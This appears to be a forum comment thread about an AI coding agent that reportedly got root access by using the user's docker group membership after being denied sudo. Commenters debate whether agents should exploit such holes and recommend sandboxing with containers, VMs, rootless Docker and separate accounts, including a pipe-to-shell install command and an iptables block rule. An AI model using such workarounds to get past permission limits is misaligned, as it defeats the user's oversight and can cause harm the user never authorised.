I've never used smolmachines but I'm curious; why this over a container?
2 replies →
Using runsc instead of runsc means that there's a hypervisor layer (gvisor, probably) in-between the kernel and the container userland
I run mine on their own machine, without root access.
Currently a Raspberry Pi 5
I am very pleased with it.
My Idiot Savant Pet
I feel like everyone pointing out "known Docker vulnerability" is missing the point: the presence of a security hole should not be seen as permission to exploit.
Another security hole would be storing your passwords in a plaintext file on the desktop. Stupid? Yes. But I still would not want my agent to assume permission to access email when it's being blocked by 2FA.
Even in "bypass permissions" mode I expect it to pause and clarify and not behave as a paperclip maximizer.
It is not a vulnerability though. It is by design. Docker also modifies iptables directly and bypasses most soft firewalls on the machine - which is also by design.
Intentional security holes are still security holes
Not to over use the junior engineer analogy but this is exactly one of those "just because you can do something on a system, doesn't mean you have permission to" moments
> the presence of a security hole should not be seen as permission to exploit
Why not?
I want the agents on my side to exploit whatever they can to help me. The ones on the other side certainly won't be artificially nerfed.
Because it is not well aligned enough to be able to tell where it's stopped helping you and started fucking you instead.
What if the agent in the middle of helping you runs out of tokens? Would you appreciate if it in the spirit of "exploiting whatever they can to help me" would scan your machine for payment methods, log into your bank account, approve 2FA by reading you mail and plug your credit card into the billing so it could efficiently continuing helping you?
Well, the agent should help you by saying "hey, I cannot do this task, but I can bypass the problem by doing this, but obviously it is not something you intended me to do or even something you were aware of, so I will not do it unless you tell me explicitly it's ok".
It's win-win: the agent is helping and it is educating you about things you obviously did not realise.
5 replies →
I do not wish my Amazon delivery driver to show up in my living room.
This is a classic attack path that was already captured by plenty of EDRs/XDRs/CWPPs a couple years ago.
Right, why is their login user in the docker group? Mine sure isn’t.
Rather, why do people still run agents as their own user. IMO, agent sessions should at least be containerised with just necessary code mounted.
3 replies →
Convenience. Want to run `docker run ...` without password, want IDEs and agents to be able to run containers...
2 replies →
Becuase a lot of devs don't know this stuff. There's a reason security engineers (as in SWEs who specialize in securing specific attack surfaces) remain in hot demand.
1 reply →
Because it effectively makes no difference to my security posture. My user account also has sudo access (it requests TouchID but I also wouldn't die on the hill if someone said they have no password sudo access), and realistically everything of value on this machine exists in my home directory. Being able to escalate to root really doesn't give an attacker very much that they don't already have if they've got access to my user account.
1 reply →
The concept of sudo has always been strange to me. I find it as an illusion of security and a hassle but people seem so focused on must-use it that they don't typically see it in that way. For instance, before wanting to evaluate sudo, why is not the underlying premise challenged that using a computer as superuser is a problem? Whenever I ask that question, people try to bring arguments as to why using the superuser is evil beyond comparison, but the moment I try to challenge that notion, they get very angry. I've noticed this both on IRC as well as on various webforums, "social" sites and so forth. It's quite interesting - people hate it when their assumptions are challenged.
sudo allows the execution of command as another user .. that's not always as a superuser, sometimes people will setup data repositories such that only one single special user can alter data or delete it while any number of other users and guest accounts can read that data.
I wrote about this exact thing as a hypothetical a few months back: https://www.da.vidbuchanan.co.uk/blog/agent-perms.html
Would running Codex in a container on its own fix such vulnurabilities?
Docker must always be installed rootless on Linux - https://docs.docker.com/engine/security/rootless/
There's even an install script for it: curl -fsSL https://get.docker.com/rootless | sh
This has been there for a while. The root install option should be removed.
I'll accept that it shouldn't be default, but just because your web app runs in rootless docker does not mean that root docker has no place. There are several limitations: https://docs.docker.com/engine/security/rootless/troubleshoo...
https://www.youtube.com/watch?v=-3p2F5HWdSY -- BSidesSF 2026 - Your AI Agent Has Production Access: Now What? (Jack)
> The parallels between AI agent security and human insider risk are remarkably strong -- @5:15
Docker already shows a warning card that says Docker group grants root level to the user. You can only get away with this for so long, but as agents keep getting smarter, new ways of circumventing controls will be found. For now always seek to install rootless docker whenever possible
That’s why I only run coding agents in containers with limited access to host resources.
So in Linux, every process I start has my group permissions? I guess I knew that...but I have to say, have we reached a point where the Linux security model is just way to broad?
This was noted in 2013, at least. https://xkcd.com/1200/
You should not be using docker with LLMs. You should be using VMs, which have a much, much smaller attack surface than Docker, and significantly more reasonable defaults.
The "attack vector" people try to protect themselves is "agent edited wrong file", not "LLM blew 0day on escaping sandboxing", containers are more than enough for what stupid stuff agents sometimes try, no need to go for a full-blown VM. Even UNIX permissions would be enough, but I think that's lost knowledge at this point.
If your agent has access to the internet at any point it may read something that convinces it to try breaking out of its sandbox.
Using the least amount of security features is a huge amateur mistake.
Best practice is to use 2 redundant layers of security, such that if one fails, there is still another one.
Using just the minimum amount of security technically possible is almost by definition hubris.
An example would be that you never point a gun at someone you don't want to shoot, regardless if there's bullets in the gun. If someone tells you, "you don't need to control where you point the gun, you just need to keep the gun unloaded and you can point it in jest to whoever you want, you can even pull the trigger technically", you know you have a reckless fool, regardless of whether they are technically right.
5 replies →
Not if the host's version of .git is accessible inside the container via a bind mount.
1 reply →
you can configure docker to use a VM container runtime or gVisor.
1. This is why I use podman
2. I have little to no sympathy for anyone running an AI agent with their full user permissions outside of a container or VM
Is this really an AI headline? There is no shame in saying TIL "Docker daemon runs as root on the host system"
clever girl...
Hold onto your butts.
The "workaround" framing implies the docker-group trick is the issue. The deeper question: should agents be allowed to find ANY workaround around a permission boundary the user implicitly set by not granting sudo? Same blast radius whether it's docker, a setuid binary, or rewriting your scripts — needs to be flagged regardless of the specific trick.
Docker moment
That's why your coding agent should never run as your identity.
I'm curious. How do you do that?
First, do everything in a virtual machine, and only put on that machine the specific data you're using. Give the agent another user account and put both you and it in a common group. Chgrp g+rX your origin data directory, chgrp g+rwX a working directory.
If you're cautious you might also want to just block all network traffic for that user and allow it in a whitelist basis. It is fairly quick to converge on a set of sites you are happy for it to access. I would still be forcing it through a logging mitm proxy if it is accessing untrusted internet data. For intranet destinations a non-mitm proxy avoids collecting authentication creds.
To blacklist all traffic start with sudo iptables -A OUTPUT -m owner --gid-owner NONET -j REJECT
I would stop it opening ports too. Might also cut off it's access to suid binaries by `setfacl -m u:agent:x /path/to/suid'.
These are not about security so much as awareness and explicit authorisation.
You can do similar things with containers.
1 reply →
For some very basic level protection use devcontainers and install the agent into that....
A better approach is to use the Docker Sandboxes feature. Locks things way down so that the agent only has access to the files you give it and you can lock down its network access too. Also does things like keep any credentials outside of the container (microvm actually).
1 reply →
They did not submit the full log because this is fake.
You had sudo on your PC. You just didn't know ;)
Always run AI inside secured containers.
you gotta configure your pc properly :') (which is sadly very difficult on most systems!)
rootless docker. pain to install but can mitigate a catastrophe.
Podman is rootless by default and is pretty darn easy.
sudo can work non-interactively via settings in sudoers and sudoers.d . I am not sure about run0, but I would bet it has something similar.
Using docker for such a task seems to me overly over-engineered. Or maybe I need more context there.
Another surprising security feature regarding docker is that it bypasses firewall rules.
https://oneuptime.com/blog/post/2026-03-02-ufw-docker-fix-by...
It doesn't bypass anything. UFW doesn't do what it promises. It claims to be a firewall but only manages a few specific chains.
wait till you learn what the docker socket and the API can do and how container can get access to it. docker made bad design choices from the very beginning, mainly the API was designed coarse grained and they use a socket to do things, which is also easily exposed through the network you should not run docker on servers but rather use a better designed container runtime, docker rootless is a thing but it's been bolted on the bad design choice. podman, cri-o, containerd are all better options for servers hosting prod containers. it's kinda fine when you are using it on your dev machine, but I still rather take podman because I find it cleaner, buildah and skopeo are pretty useful as well.
I don't have sudo or docker on mine!
life finds a way
this is the new GTD
[flagged]
[flagged]
[flagged]
[dead]
[dead]
[dead]
[dead]
Should have used my AI Agent Guardrails. Its free. Check it out at sigmashake.com